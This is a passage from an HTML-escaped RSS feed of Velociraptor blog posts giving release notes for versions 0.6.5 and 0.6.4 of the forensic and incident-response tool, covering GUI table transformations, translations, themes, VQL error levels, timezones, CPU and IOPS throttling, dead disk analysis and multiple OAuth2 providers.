src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/vql_filter.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Filtering rows with VQL&#34;&#xA;         width=&#34;1119&#34; height=&#34;589&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vql_filter.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Filtering rows with VQL&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In our experience this type of quickly filtering/sorting a table is&#xA;very common and sometimes we dont really need the full power of&#xA;VQL. In 0.6.5 we introduced &lt;code&gt;table transformations&lt;/code&gt; - simple&#xA;filtering/sorting operations on every table in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/transform_table1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Transform any table in the GUI&#34;&#xA;         width=&#34;1039&#34; height=&#34;579&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;transform_table1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Transform any table in the GUI&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can now select simple table transformations like filtering or&#xA;sorting. The GUI will automatically generate the required query.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/transform_table2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Setting simple table transformations&#34;&#xA;         width=&#34;788&#34; height=&#34;626&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;transform_table2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Setting simple table transformations&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;multi-lingual-support&#34;&gt;Multi-Lingual support&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s community of DFIR professionals is global! We have&#xA;users from all over the world and although most users are fluent in&#xA;English, we wanted to acknowledge our truly international user base by&#xA;adding internationalization into the GUI. You can now select from a&#xA;number of popular languages (Don&amp;rsquo;t see your language here? We would&#xA;love additional contributions!).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/language.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Select from a number of popular languages&#34;&#xA;         width=&#34;999&#34; height=&#34;433&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;language.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Select from a number of popular languages&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Here is a screenshot showing our German translations&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/de.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The Velociraptor interface in German&#34;&#xA;         width=&#34;1349&#34; height=&#34;520&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;de.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The Velociraptor interface in German&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;new-interface-themes&#34;&gt;New interface themes&lt;/h2&gt;&#xA;&lt;p&gt;The 0.6.5 release expanded our previous offering of 3 themes into 7&#xA;themes with a selection of light and dark themes. We even have a retro&#xA;feel &lt;code&gt;ncurses&lt;/code&gt; theme that looks like a familiar terminal&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/ncurses.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;A stunning retro ncurses theme&#34;&#xA;         width=&#34;1357&#34; height=&#34;552&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;ncurses.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    A stunning retro ncurses theme&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;error-handling-in-vql&#34;&gt;Error handling in VQL&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is simply a VQL engine; Users write VQL artifacts and run&#xA;these queries on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Previously it was difficult to tell when VQL encountered an&#xA;error. Sometimes a missing file is expected, and other times it means&#xA;something went wrong. From Velociraptor&amp;rsquo;s point of view, as long as&#xA;the VQL query ran successfully on the endpoint the collection was a&#xA;success. The VQL query can generate logs to provide more information&#xA;but the user had to actually look at the logs to determine if there&#xA;was a problem.&lt;/p&gt;&#xA;&lt;p&gt;For example, in a hunt parsing a file on the endpoints, it was&#xA;difficult to tell which of the thousands of machines failed to parse a&#xA;file. Previously, Velociraptor marked the collection as successful if&#xA;the VQL query ran - even if it returned no rows because the file&#xA;failed to parse.&lt;/p&gt;&#xA;&lt;p&gt;In 0.6.5 there is a mechanism for VQL authors to convey more nuanced&#xA;information to the user by way of error levels. The VQL &lt;code&gt;log()&lt;/code&gt;&#xA;function was expanded to take a &lt;code&gt;level&lt;/code&gt; parameter. When the level is&#xA;&lt;code&gt;ERROR&lt;/code&gt; the collection will be marked as failed in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/fail.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;A failed VQL query&#34;&#xA;         width=&#34;1125&#34; height=&#34;611&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;fail.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    A failed VQL query&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/fail_log.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Query Log messages have their own log level&#34;&#xA;         width=&#34;1353&#34; height=&#34;629&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;fail_log.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Query Log messages have their own log level&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;custom-timezone-support&#34;&gt;Custom Timezone support&lt;/h2&gt;&#xA;&lt;p&gt;Timestamps are a central part of most DFIR work. Although it is best&#xA;practice to always work in UTC times it is sometimes a real pain to&#xA;have to convert from UTC to local time in one&amp;rsquo;s head! Since&#xA;Velociraptor always uses&#xA;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc3339&#34; target=&#34;_blank&#34; &gt;RFC3389&lt;/a&gt; to represent&#xA;times unambiguously but for human consumption it is convenient to&#xA;represent these times in different local times.&lt;/p&gt;&#xA;&lt;p&gt;You can now select a more convenient timezone in the GUI by clicking&#xA;your user preferences and setting the relevant timezone.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/timezone_selection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Selecting a custom timezone&#34;&#xA;         width=&#34;1237&#34; height=&#34;520&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timezone_selection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Selecting a custom timezone&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The preferred time will be shown in most times in the UI&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes//blog/2022/2022-06-21-release-notes/timezone_vfs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Timezone selection influences how times are shown&#34;&#xA;         width=&#34;1359&#34; height=&#34;655&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timezone_vfs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Timezone selection influences how times are shown&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-new-musl-build-target&#34;&gt;A new MUSL build target&lt;/h2&gt;&#xA;&lt;p&gt;On Linux Go binaries are mostly static but always link to &lt;code&gt;Glibc&lt;/code&gt;&#xA;which is shipped with the Linux distribution. This means that&#xA;traditionally Velociraptor had problems running on very old Linux&#xA;machines (previous to Ubuntu 18.04). We used to build a more&#xA;compatible version on an old Centos VM but this was manual and did not&#xA;support the latest Go compiler.&lt;/p&gt;&#xA;&lt;p&gt;In 0.6.5 we added a new build target using&#xA;&lt;a href=&#34;https://www.musl-libc.org/&#34; target=&#34;_blank&#34; &gt;MUSL&lt;/a&gt; - a light weight &lt;code&gt;Glibc&lt;/code&gt;&#xA;replacement. The produced binary is completely static and should run&#xA;on a much wider range of Linux versions. This is still considered&#xA;experimental but should improve the experience on older Linux&#xA;machines.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.4 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes/</link>
      <pubDate>Thu, 21 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release&#xA;0.6.4. This release has been in the making for a few months now and&#xA;has a lot of new features.&lt;/p&gt;&#xA;&lt;p&gt;The main focus of this release is in improving path handling in VQL to&#xA;allow for more efficient path manipulation. This leads to the ability&#xA;to analyze dead disk images which depends on accurate path handling.&lt;/p&gt;&#xA;&lt;h2 id=&#34;path-handling&#34;&gt;Path handling&lt;/h2&gt;&#xA;&lt;p&gt;A path is a simple concept - it is a string similar to &lt;code&gt;/bin/ls&lt;/code&gt; which&#xA;can be used to pass to an OS API and have it operate on the file in&#xA;the filesystem (e.g. read/write it).&lt;/p&gt;&#xA;&lt;p&gt;However it turns out that paths are much more complex than they first&#xA;seem. For one thing, paths have an OS dependent separator (usually &lt;code&gt;/&lt;/code&gt;&#xA;or &lt;code&gt;\&lt;/code&gt;). Some filesystems support path separators inside a filename&#xA;too! To read about the details check out &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-21-paths/&#34;&gt;Paths And Filesystem&#xA;Accessors&lt;/a&gt; but one of the&#xA;most interesting thing with the new handling is that stacking&#xA;filesystem accessors is now possible, for example it is possible to&#xA;open a docx file inside a zip file inside an ntfs drive inside a&#xA;partition.&lt;/p&gt;&#xA;&lt;h3 id=&#34;dead-disk-analysis&#34;&gt;Dead disk analysis&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor offers top notch forensic analysis capability but it was&#xA;primarily used as a live response agent. Many users have asked us if&#xA;Velociraptor can be used on dead disk images. Although we rarely use&#xA;dead disk images in practice, sometimes we do encounter these (e.g. in&#xA;cloud investigations).&lt;/p&gt;&#xA;&lt;p&gt;Previously we could not use Velociraptor easily on dead disk images&#xA;without having to carefully tailor and modify each artifact. In the&#xA;0.6.4 release we now have the ability to emulate a live client from&#xA;dead disk images. We can use this feature to run the exact same VQL&#xA;artifacts that we normally do on live systems, but against a dead disk&#xA;image. If you would like to read more about this new feature check out&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-22-deaddisk/&#34;&gt;Dead Disk Forensics&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;resource-control&#34;&gt;Resource control&lt;/h2&gt;&#xA;&lt;p&gt;When collecting artifacts from endpoints we need to be mindful of the&#xA;overall load that collection will cost on endpoints. For performance&#xA;sensitive servers, our collection can cause operational&#xA;disruption. For example, running a yara scan over the entire disk&#xA;would utilize a lot of IO operations and may use a lot of CPU&#xA;resources. Velociraptor will then compete for these resources with the&#xA;legitimate server functionality and may cause degraded performance.&lt;/p&gt;&#xA;&lt;p&gt;Previously, Velociraptor had a setting called &lt;code&gt;Ops Per Second&lt;/code&gt; which&#xA;could be used to run the collection &amp;ldquo;low and slow&amp;rdquo; by limiting the&#xA;rate at which notional &amp;ldquo;ops&amp;rdquo; were utilized. In reality this setting&#xA;was only ever used for Yara scans because it was hard to calculate an&#xA;appropriate setting: notional &lt;code&gt;ops&lt;/code&gt; did not correspond to anything&#xA;measurable like CPU utilization.&lt;/p&gt;&#xA;&lt;p&gt;In 0.6.4 we have implemented a feedback based throttler which can&#xA;control VQL queries to a target average CPU utilization. Since CPU&#xA;utilization is easy to measure it is a more meaningful control. The&#xA;throttler actively measures the Velociraptor process&amp;rsquo;s CPU utilization&#xA;and when the simple moving average (SMA) rises above the limit, the&#xA;query is paused until the SMA drops below the limit.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes//blog/2022/2022-03-23-release-notes/resource_control.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Selecting resource controls for collections&#34;&#xA;         width=&#34;1110&#34; height=&#34;491&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;resource_control.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Selecting resource controls for collections&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above screenshot shows the latest resource controls dialog. You&#xA;can now set a target CPU utilization between 0 and 100%. The image&#xA;below shows how that looks in the windows task manager&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes//blog/2022/2022-03-23-release-notes/cpu_utilization.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;CPU control keeps Velociraptor at 15%&#34;&#xA;         width=&#34;996&#34; height=&#34;551&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;cpu_utilization.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    CPU control keeps Velociraptor at 15%&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Choosing an appropriate CPU limit &#34;&gt;&lt;p&gt;By reducing the allowed CPU utilization, Velociraptor will be slowed&#xA;down so collections will take longer. You may need to increase the&#xA;collection timeout to correspond with the extra time it takes.&lt;/p&gt;&#xA;&lt;p&gt;Note that the CPU limit refers to a percentage of the total CPU&#xA;resources available on the endpoint. So for example, if the endpoint&#xA;is a 2 core cloud instance a 50% utilization refers to 1 full&#xA;core. But on a 32 core server a 50% utilization is allowed to use 16&#xA;cores!&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;iops-limits&#34;&gt;Iops limits&lt;/h3&gt;&#xA;&lt;p&gt;On some cloud resources IO operations per second (IOPS) are more&#xA;important than CPU loading since cloud platforms tend to rate limit&#xA;IOPS. So if Velociraptor uses many IOPS (e.g. in Yara scanning), it&#xA;may affect the legitimate workload.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor now offers limits on IOPS which may be useful for some&#xA;scenarios. See for example&#xA;&lt;a href=&#34;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volume-types.html&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;&#xA;and&#xA;&lt;a href=&#34;https://aws.amazon.com/blogs/database/understanding-burst-vs-baseline-performance-with-amazon-rds-and-gp2/&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;&#xA;for a discussion of these limits.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-offline-collector-resource-controls&#34;&gt;The offline collector resource controls&lt;/h3&gt;&#xA;&lt;p&gt;Many people use the &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/offline_collections/&#34;&gt;Velociraptor offline collector&lt;/a&gt; to collect artifacts&#xA;from endpoints which they are unable to install a proper client/server&#xA;architecture on. In previous versions there was no resource control or&#xA;time limits imposed on the offline collector because it was assumed&#xA;that it would be used interactively by a user.&lt;/p&gt;&#xA;&lt;p&gt;However experience shows that many users use automated tools to push&#xA;the offline collector to the endpoint (e.g. an EDR or another endpoint&#xA;agent) and therefore it would be useful to provide resource controls&#xA;and timeouts to control Velociraptor acquisitions. The below&#xA;screenshot shows the new resource control page in the offline&#xA;collector wizard.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes//blog/2022/2022-03-23-release-notes/offline_collector_resources.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Configuring offline collector resource controls&#34;&#xA;         width=&#34;1091&#34; height=&#34;889&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;offline_collector_resources.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Configuring offline collector resource controls&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-changes&#34;&gt;GUI Changes&lt;/h2&gt;&#xA;&lt;p&gt;Versions 0.6.4 brings a lot of useful GUI improvements.&lt;/p&gt;&#xA;&lt;h3 id=&#34;notebook-suggestions&#34;&gt;Notebook suggestions&lt;/h3&gt;&#xA;&lt;p&gt;Notebooks are an excellent tool for post processing and analyzing the&#xA;collected results from various artifacts. Most of the time similar&#xA;post processing queries are used for the same artifacts so it makes&#xA;sense to allow notebook &lt;code&gt;templates&lt;/code&gt; to be defined in the artifact&#xA;definition. In this release you can define an optional &lt;code&gt;suggestion&lt;/code&gt; in&#xA;the artifact yaml to allow a user to include certain cells when&#xA;needed.&lt;/p&gt;&#xA;&lt;p&gt;The following screenshot shows the default suggestion for all hunt&#xA;notebooks: &lt;code&gt;Hunt Progress&lt;/code&gt;. This cell queries all clients in a hunt&#xA;and shows the ones with errors, running and completed.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes//blog/2022/2022-03-23-release-notes/hunt_suggestions.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Hunt notebooks offer a hunt status cell&#34;&#xA;         width=&#34;1106&#34; height=&#34;612&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hunt_suggestions.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Hunt notebooks offer a hunt status cell&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes//blog/2022/2022-03-23-release-notes/hunt_suggestions_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Hunt notebooks offer a hunt status cell&#34;&#xA;         width=&#34;1911&#34; height=&#34;809&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hunt_suggestions_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Hunt notebooks offer a hunt status cell&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;multiple-oauth2-authenticators&#34;&gt;Multiple OAuth2 authenticators&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor has always had SSO support to allow strong 2 factor&#xA;authentication for access to the GUI. However, previously Velociraptor&#xA;only supported one OAuth2 provider at a time. Users had to choose&#xA;between Google, GitHub, Azure or OIDC (e.g. Okta) for the&#xA;authentication provider.&lt;/p&gt;&#xA;&lt;p&gt;This limitation is problematic for some organizations who need to&#xA;share access to the Velociraptor console outside their own&#xA;organizations (e.g. consultants need to provide read only access to&#xA;customers).&lt;/p&gt;&#xA;&lt;p&gt;In 0.6.4 Velociraptor can be configured to support multiple SSO&#xA;providers at the same time. So an organization can provide access&#xA;through Okta for their own org at the same time as Azure or Google for&#xA;their customers.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes//blog/2022/2022-03-23-release-notes/multiple_oauth2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The Velociraptor login screen supports multiple providers&#34;&#xA;         width=&#34;1838&#34; height=&#34;813&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;multiple_oauth2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The Velociraptor login screen supports multiple providers&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-velociraptor-knowledge-base&#34;&gt;The Velociraptor knowledge base&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a very powerful tool. It&amp;rsquo;s flexibility means that it&#xA;can do things that you might have never realized it can! For a while&#xA;now we have been thinking about ways to make this knowledge more&#xA;discoverable and easily available.&lt;/p&gt;&#xA;&lt;p&gt;Many people ask questions on the Discord 